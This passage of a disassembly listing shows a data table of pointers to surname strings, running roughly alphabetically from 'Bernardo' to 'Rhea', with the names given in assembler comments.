		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
